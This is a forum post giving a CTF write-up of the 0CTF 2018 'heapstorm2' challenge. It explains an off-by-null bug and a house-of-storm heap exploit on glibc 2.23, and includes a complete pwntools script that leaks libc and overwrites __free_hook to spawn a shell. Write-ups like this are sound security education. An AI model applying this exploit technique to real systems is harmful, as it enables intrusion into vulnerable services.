吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1778|回复: 0
收起左侧

[CTF] 0CTF 2018 : heapstorm2

[复制链接]
R00tkit 发表于 2023-9-23 15:44
本帖最后由 R00tkit 于 2023-9-23 18:18 编辑

前言

这里太过于细节的知识点请看
https://bbs.kanxue.com/thread-278871.htm
或者
https://jelasin.github.io

检查文件信息

1

1

ELF64小端序程序。

2

2 保护全开。

3

3

改 glibc 为 2.23。

试运行

4

4

逆向分析

/* main 函数 */

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = Init();
  while ( 1 )
  {
    menu();
    switch ( get_num() )
    {
      case 1LL:
        Allocate(v4);
        break;
      case 2LL:
        Update(v4);
        break;
      case 3LL:
        Delete(v4);
        break;
      case 4LL:
        View(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}
/* menu 函数 */
int menu()
{
  puts("1. Allocate");
  puts("2. Update");
  puts("3. Delete");
  puts("4. View");
  puts("5. Exit");
  return printf("Command: ");
}
/* Init 函数 */
__int64 Init()
{
  int i; // [rsp+8h] [rbp-18h]
  int fd; // [rsp+Ch] [rbp-14h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts(
    "    __ __ _____________   __   __    ___    ____\n"
    "   / //_// ____/ ____/ | / /  / /   /   |  / __ )\n"
    "  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |\n"
    " / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /\n"
    "/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/\n");
  puts("===== HEAP STORM II =====");
  if ( !mallopt(1, 0) )                         // 关闭fastbin分配
    exit(-1);
  if ( mmap((void *)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0x13370000 ) // 在0x13370000处 mmap出了一片空间作为heaparray
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  if ( read(fd, (void *)0x13370800, 0x18uLL) != 0x18 )  // 读入 3 个 0x8 大小的随机数, r1, r2, r3。
    exit(-1);
  close(fd);
  MEMORY[0x13370818] = MEMORY[0x13370810]; // r4 = r3
  for ( i = 0; i <= 15; ++i )
  {
    *(_QWORD *)(0x10 * (i + 2LL) + 0x13370800) = flower_1(0x13370800LL, 0LL); // ptr = r1 ^ 0
    *(_QWORD *)(0x10 * (i + 2LL) + 0x13370808) = flower_2(0x13370800LL, 0LL); // size = r2 ^ 0
  }
  return 0x13370800LL;
}
/* alloc  函数 */
void __fastcall Allocate(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int size; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i ) // 0~15
  {
    if ( !flower_2(a1, *(_QWORD *)(0x10 * (i + 2LL) + a1 + 8)) )
    {
      printf("Size: ");
      size = get_num();
      if ( size > 0xC && size <= 0x1000 )
      {
        v3 = calloc(size, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_QWORD *)(0x10 * (i + 2LL) + a1 + 8) = flower_2(a1, size);
        *(_QWORD *)(0x10 * (i + 2LL) + a1) = flower_1(a1, v3);
        printf("Chunk %d Allocated\n", (unsigned int)i);
      }
      else
      {
        puts("Invalid Size");
      }
      return;
    }
  }
}
/* 不难推测结构体 */
struct Heap 

{
    void* ptr;
    uint size;

};
/* update */

int __fastcall Update(__int64 a1)
{
  signed int idx; // [rsp+10h] [rbp-20h]
  int size; // [rsp+14h] [rbp-1Ch]
  __int64 v4; // [rsp+18h] [rbp-18h]

  printf("Index: ");
  idx = get_num();
  if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
    return puts("Invalid Index");
  printf("Size: ");
  size = get_num();
  if ( size <= 0 || size > (unsigned __int64)(flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) - 12) )// size-0xC
    return puts("Invalid Size");
  printf("Content: ");
  v4 = flower_1(a1, *(_QWORD *)(16 * (idx + 2LL) + a1));
  read_n(v4, size);
  strcpy((char *)(size + v4), "HEAPSTORM_II");  // off-by-null,读满会把 '\x00' 复制过去。
  return printf("Chunk %d Updated\n", (unsigned int)idx);
}
/* del 函数 */
int __fastcall Delete(__int64 a1)
{
  void *v2; // rax
  signed int idx; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  idx = get_num();
  if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
    return puts("Invalid Index");
  v2 = (void *)flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
  free(v2);
  *(_QWORD *)(0x10 * (idx + 2LL) + a1) = flower_1(a1, 0LL);
  *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8) = flower_2(a1, 0LL);
  return printf("Chunk %d Deleted\n", (unsigned int)idx);
}
/* view 函数 */

int __fastcall View(__int64 a1)
{
  __int64 v2; // rbx
  __int64 v3; // rax
  signed int idx; // [rsp+1Ch] [rbp-14h]

  if ( (*(_QWORD *)(a1 + 0x18) ^ *(_QWORD *)(a1 + 0x10)) != 0x13377331LL ) // 条件 r3 ^ r2== 0x13377331
    return puts("Permission denied");
  printf("Index: ");
  idx = get_num();
  if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(16 * (idx + 2LL) + a1 + 8)) )
    return puts("Invalid Index");
  printf("Chunk[%d]: ", (unsigned int)idx);
  v2 = flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8));
  v3 = flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
  write_n(v3, v2);
  return puts(byte_180A);
}

漏洞利用

我们知道 heaparray 的地址,可以使用 house_of_storm 实现任意地址申请 chunk,这样我们就能控制r3,r4的值,使得show可以使用。然后正常泄露 heap 和 libc ,正常修改各种 hook 即可。

前置脚本

from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

def connect():
    global r, elf, libc
    r = process('./heapstorm2')
    elf = ELF("./heapstorm2")
    libc = elf.libc

is_debug = True
def debug(gdbscript=""):
    if is_debug:
        gdb.attach(r, gdbscript=gdbscript)
        pause()
    else:
        pass

def add(size):
    r.recvuntil(b"Command: ")
    r.sendline(str(1).encode())
    r.recvuntil(b"Size: ")
    r.sendline(str(size).encode())

def delete(index):
    r.recvuntil(b"Command: ")
    r.sendline(str(3).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())

def show(index):
    r.recvuntil(b"Command: ")
    r.sendline(str(4).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())

def edit(index,content):
    r.recvuntil(b"Command: ")
    r.sendline(str(2).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())
    r.recvuntil(b"Size: ")
    r.sendline(str(len(content)).encode())
    r.recvuntil(b"Content: ")
    r.send(content)

布置堆结构

def overlapping():
    add(0x18)   # 0
    add(0x508)  # 1
    add(0x18)   # 2 prev_size 0x510
    add(0x18)   # 3
    add(0x508)  # 4
    add(0x18)   # 5 prev_size 0x510
    add(0x18)   # 6
    #debug() # d1 ----------------------------------

    '''覆盖 idx_7'''
    edit(1, b'a'*0x4f0 + p64(0x500)) # fake_prev_size
    delete(1)
    #debug() # d2 ----------------------------------
    edit(0, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
    #debug() # d3 ----------------------------------
    add(0x18)   # 1
    add(0x4d8)  # 7
    #debug() # d4 ----------------------------------
    delete(1)
    delete(2)
    #debug() # d5 ----------------------------------

    add(0x38)   # 1
    add(0x4e8)  # 2 0x4f0 + 0x40 = 0x530

    '''覆盖 idx_8'''
    edit(4, b'a'*0x4f0 + p64(0x500))
    delete(4)
    edit(3, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
    add(0x18)   # 4
    add(0x4d8)  # 8
    delete(4)
    delete(5)

    add(0x48)   # 4 0x530 - 0x50 = 0x4e0
    #debug() # d6 ----------------------------------

    delete(2)
    #debug() # d7 ----------------------------------
    add(0x4e8)  # 2 把0x4e1的chunk放入到largebin中
    #debug() # d8 ----------------------------------
    delete(2)     # 把0x4F1的chunk放入到unsorted bin中    
    #debug() # d9 ----------------------------------

首先布置如下堆结构。
屏幕截图 2023-09-23 125015.png 写入 fake_prev_size (0x500) ,然后利用 off-by-null 将 idx_1 的 size 改为 0x500,以便切割时绕过检查。然后申请 0x20 + 0x4e0 的堆块将 0x500 申请出来,此时堆结构如下,此时 idx_2_prev_size = 0x510,释放时会寻找到 idx_1_prev_size 的位置。

6

6
......

7

7
然后 free(1) ,在 free(2) 后,可以绕过 unlink 检查。然后将 inuse_idx_7 覆盖。再次申请 0x40 + 0x4f0 = 0x530 大小的 chunk ,将 bins 清空。此时 idx_7_fd -> (unsorted_prev_size - 0x10) 。同理,再次制造 idx_8_fd -> (large_chunk_prev_size-0x20)。然后将 0x4e0 大小的 chunk 放进 large bin,将 0x4f0 大小的 chunk 放进 unsorted bin,以便后续攻击。

leak

def leak():
    global free_hook, storage, system, str_bin_sh
    storage = 0x13370800
    fake_chunk = storage - 0x20
    payload = b'\x00' * 0x10
    payload += p64(0) + p64(0x4f1)
    payload += p64(0) + p64(fake_chunk)
    edit(7, payload)
    #debug() # d10 ----------------------------------

    payload = b'\x00' * 0x20
    payload += p64(0) + p64(0x4e1)
    payload += p64(0) + p64(fake_chunk+0x8)
    payload += p64(0) + p64(fake_chunk-0x18-5)
    edit(8, payload)
    #debug() # d11 ----------------------------------

    add(0x48) # 2 0x133707e0
    #debug() # d12 ----------------------------------

    payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
    edit(2, payload)
    #debug()
    payload = p64(0)*2 + p64(0) + p64(0x13377331)
    payload += p64(storage) + p64(0x1000) # chunk0 addr size
    payload += p64(fake_chunk+3) + p64(8) # chunk1 addr size
    edit(0, payload)
    #debug()

    show(1)
    r.recvuntil(b"]: ")
    heap = u64(r.recv(6).ljust(8, b'\x00'))
    success("heap:"+hex(heap))

    payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
    edit(0, payload)

    show(1)
    r.recvuntil(b"]: ")
    malloc_hook = u64(r.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
    libc.address = malloc_hook - libc.sym['__malloc_hook']
    free_hook = libc.sym['__free_hook']
    system = libc.sym['system']
    str_bin_sh = next(libc.search(b'/bin/sh\x00'))
    success("malloc_hook:"+hex(malloc_hook))

我们可以通过在 0x13370800 附近申请 0x50 大小的堆块篡改 r3 , r4 来达到 show 的条件。那么 fake_chunk_size 就需要为 0x56 大小,因为 0x56 = 0101 0110B, 可以绕过 mmap 检查,只有地址随机化到 0x56 开头是才可利用成功。需要注意的是 unsortedbin_chunk_size > largebin_chunk_size

8

8
通过 idx_7 修改 unsorted_chunk_bk = fake_chunk_prev_size。

9

9

通过 idx_8 修改 largebin_chunk_bk = fake_chunk+0x8,largebin_chunk_bk_nextsize = fake_chunk+0x18-5(截取0x56,因为64位随机化只会随机到 0x55 和 0x56 ,而只有0x56能绕过mmap检查)。
此时去申请一个用户区 0x48 大小 chunk,会执行如下代码。

unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);

av 是我们 unsorted 头(unsorted_chunks(av))(我习惯这样叫,但它并不是我们 unsorted bin 的第一个 chunk ,而是类似 unsorted 的管理者,它的 fd 指向第一个堆块,bk 指向最后一个堆块),将其 bk 指向 fake_chunk。bck->fd = fake_chunk_fd,fake_chunk + 0x10 将指向 unsorted 头((unsorted_chunks(av)))伪造了 fake_chunk_fd 指针和 unsorted 头的 bk 指针,将其添加到了 unsorted bin 中。

/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */

else
{
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

然后执行如上代码,unsorted_chunk_bk_nextsize 首先指向 fake_chunk-0x18-5 ,然后 unsorted_chunk->bk_nextsize->fd_nextsize (fake_chunk-0x18-5+0x20) 指向 unsorted_chunk (此时fake_chunk的size被改为0x56)。然后将 bck(fake_chunk+0x8) 的 fd(fake_chunk+0x8+0x10) 指向 unsorted_chunk_prev_size,伪造了 fake_chunk_bk。

10

10

11

11

申请的用户区 0x48 的堆块将会把 fake_chunk 摘除来,并且 idx=2。然后把 r3(0x13370810) 改为 0,r4(0x13377818) 改为 0x13377331,即可绕过show检查。alloc 的时候,我们申请 0 堆块是从 0x13370820开始的。我们 edit(2) 是将其地址指向了 0x13370800,我们再去 edit(0) ,保留原来的可以调用 show 的结构,将 chunk0 指向 0x13370800 ,将其大小改为 0x1000,然后将 chunk1 指向 fake_chunk+0x3(也就是原来 unsorted bin 的地址,开始我们截取了0x56作为size那个地址) ,将其大小改为 0x8 (size_t)。因为用于异或的 r1, r2, r3都被改为了0。所以不必担心异或处理。此时 show(1) 即可将堆地址(unsortedbin_chunk)泄露出来。

13

13

泄露出来的堆地址 unsortedbin_chunk_fd 指向了 libc 地址,同理将其输出即可,然后根据固定偏移计算得到 malloc_hook, free_hook, system, str_bin_sh地址即可。

getshell

def get_shell():
    payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000)
    payload += p64(free_hook) + p64(0x100) + p64(str_bin_sh) + p64(8)
    edit(0, payload)
    edit(1, p64(system))
    delete(2)
    r.interactive()

最后,我们只需要将 free_hook 地址改为 system 地址,然后将 idx2 指向 str_bin_sh 地址,并 free(2) 即可 getshell。

14

14

完整exp

from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

def connect():
    global r, elf, libc
    r = process('./heapstorm2')
    elf = ELF("./heapstorm2")
    libc = elf.libc

is_debug = True
def debug(gdbscript=""):
    if is_debug:
        gdb.attach(r, gdbscript=gdbscript)
        pause()
    else:
        pass

def add(size):
    r.recvuntil(b"Command: ")
    r.sendline(str(1).encode())
    r.recvuntil(b"Size: ")
    r.sendline(str(size).encode())

def delete(index):
    r.recvuntil(b"Command: ")
    r.sendline(str(3).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())

def show(index):
    r.recvuntil(b"Command: ")
    r.sendline(str(4).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())

def edit(index,content):
    r.recvuntil(b"Command: ")
    r.sendline(str(2).encode())
    r.recvuntil(b"Index: ")
    r.sendline(str(index).encode())
    r.recvuntil(b"Size: ")
    r.sendline(str(len(content)).encode())
    r.recvuntil(b"Content: ")
    r.send(content)

def overlapping():
    add(0x18)   # 0
    add(0x508)  # 1
    add(0x18)   # 2 prev_size 0x510
    add(0x18)   # 3
    add(0x508)  # 4
    add(0x18)   # 5 prev_size 0x510
    add(0x18)   # 6
    #debug() # d1 ----------------------------------

    '''覆盖 idx_7'''
    edit(1, b'a'*0x4f0 + p64(0x500)) # fake_prev_size
    delete(1)
    #debug() # d2 ----------------------------------
    edit(0, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
    #debug() # d3 ----------------------------------
    add(0x18)   # 1
    add(0x4d8)  # 7
    #debug() # d4 ----------------------------------
    delete(1)
    delete(2)
    #debug() # d5 ----------------------------------

    add(0x38)   # 1
    add(0x4e8)  # 2 0x4f0 + 0x40 = 0x530

    '''覆盖 idx_8'''
    edit(4, b'a'*0x4f0 + p64(0x500))
    delete(4)
    edit(3, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
    add(0x18)   # 4
    add(0x4d8)  # 8
    delete(4)
    delete(5)

    add(0x48)   # 4 0x530 - 0x50 = 0x4e0 idx_8
    #debug() # d6 ----------------------------------

    delete(2)
    #debug() # d7 ----------------------------------
    add(0x4e8)  # 2
    #debug() # d8 ----------------------------------
    delete(2)
    #debug() # d9 ----------------------------------

def leak():
    global free_hook, storage, system, str_bin_sh
    storage = 0x13370800
    fake_chunk = storage - 0x20
    payload = b'\x00' * 0x10
    payload += p64(0) + p64(0x4f1)
    payload += p64(0) + p64(fake_chunk)
    edit(7, payload)
    #debug() # d10 ----------------------------------

    payload = b'\x00' * 0x20
    payload += p64(0) + p64(0x4e1)
    payload += p64(0) + p64(fake_chunk+0x8)
    payload += p64(0) + p64(fake_chunk-0x18-5)
    edit(8, payload)
    #debug() # d11 ----------------------------------

    add(0x48) # 2 0x133707e0
    #debug() # d12 ----------------------------------

    payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
    edit(2, payload)
    #debug()
    payload = p64(0)*2 + p64(0) + p64(0x13377331)
    payload += p64(storage) + p64(0x1000)
    payload += p64(fake_chunk+3) + p64(8)
    edit(0, payload)
    #debug()

    show(1)
    r.recvuntil(b"]: ")
    heap = u64(r.recv(6).ljust(8, b'\x00'))
    success("heap:"+hex(heap))

    payload = p64(0)*2 + p64(0) + p64(0x13377331)
    payload += p64(storage) + p64(0x1000)
    payload += p64(heap+0x10) + p64(8)
    edit(0, payload)
    #debug()

    show(1)
    r.recvuntil(b"]: ")
    malloc_hook = u64(r.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
    libc.address = malloc_hook - libc.sym['__malloc_hook']
    free_hook = libc.sym['__free_hook']
    system = libc.sym['system']
    str_bin_sh = next(libc.search(b'/bin/sh\x00'))
    success("malloc_hook:"+hex(malloc_hook))

def get_shell():
    payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000)
    payload += p64(free_hook) + p64(0x100) + p64(str_bin_sh) + p64(8)
    edit(0, payload)
    edit(1, p64(system))
    delete(2)
    r.interactive()

def pwn():
    connect()
    overlapping()
    leak()
    get_shell()

if __name__ == "__main__":
    pwn()

免费评分

参与人数 1威望 +1 吾爱币 +20 热心值 +1 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 15:26

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表